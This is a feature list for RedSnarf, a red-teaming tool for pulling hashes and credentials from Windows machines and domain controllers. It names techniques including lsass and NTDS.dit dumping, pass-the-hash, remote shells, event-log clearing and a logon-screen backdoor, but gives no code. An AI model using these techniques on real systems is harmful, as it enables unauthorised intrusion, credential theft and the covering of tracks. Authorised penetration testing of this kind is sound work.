RedSnarf is a pen-testing / red-teaming tool by Ed Williams for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques.

See our YouTube Channel for Videos https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ

RedSnarf functionality includes:

• Retrieval of local SAM hashes • Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password; • Retrieval of MS cached credentials; • Pass-the-hash; • Quickly identify weak and guessable username/password combinations (default of administrator/Password01); • The ability to retrieve hashes across a range; • Hash spraying - Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space; • Lsass dump for offline analysis with Mimikatz; • Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing; • Dumping of Domain controller hashes using the drsuapi method; • Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator'; • Ability to decrypt cpassword hashes; • Ability to start a shell on a remote machine; • The ability to clear the event logs (application, security, setup or system); (Internal Version only) • Results are saved on a per-host basis for analysis. • Enable/Disable RDP on a remote machine. • Change RDP port from 3389 to 443 on a remote machine. • Enable/Disable NLA on a remote machine. • Find where users are logged in on remote machines. • Backdoor Windows Logon Screen • Enable/Disable UAC on a remote machine. • Stealth mimikatz added. • Parsing of domain hashes • Ability to determine which accounts are enabled/disabled • Take a screen shot of a Remote logged on Active Users Desktop • Record Remote logged on Active Users Desktop • Decrypt Windows CPassword • Decrypt WinSCP Password • Get User SPN's • Retrieve WIFI passwords from remote machines
